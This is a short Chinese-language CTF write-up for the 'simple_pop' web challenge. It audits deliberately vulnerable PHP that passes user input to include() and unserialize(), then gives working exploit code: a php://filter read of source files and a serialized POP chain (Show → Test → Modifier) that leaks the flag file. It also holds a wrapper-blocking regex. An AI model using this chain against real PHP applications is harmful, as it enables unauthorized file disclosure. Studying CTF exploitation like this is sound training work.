BMZCTF-WEB-simple_pop

Posted 2021-05-26 TzZzEZ-web

simple_pop

php代码审计：

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the beijing")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

1.以get形式传入三个参数，text,file,password。
2.text内容为：welcome to the beijing
3.file参数中不能包含flag。

根据注释尝试先读取useless.php。
利用php伪协议。

成功读取useless.php内容，base64解码一下。

<?php  
class Modifier {
    protected  $var;
    public function append($value){
        include($value);//flag.php
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\\.\\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['password'])){
    @unserialize($_GET['password']);
}
else{
    $a=new Show;
}
?>  

反序列化。
尝试分析构建pop链。
通过Show类的__toString去触发Test类的__get最后调用Modifier的__invoke去得到flag。
构建序列化：

<?php
class Modifier{
	protected $var='php://filter/convert.base64-encode/resource=/flag';
}
class Show{
	public $source;
	public $str;
}
class Test{
	public $p;
}

$m = new Modifier();
$s = new Show();
$t = new Test();
$t -> p = $m;
$s -> str = $t;
$s -> source = $s;
echo urlencode(serialize($s));
?>

解码得到flag。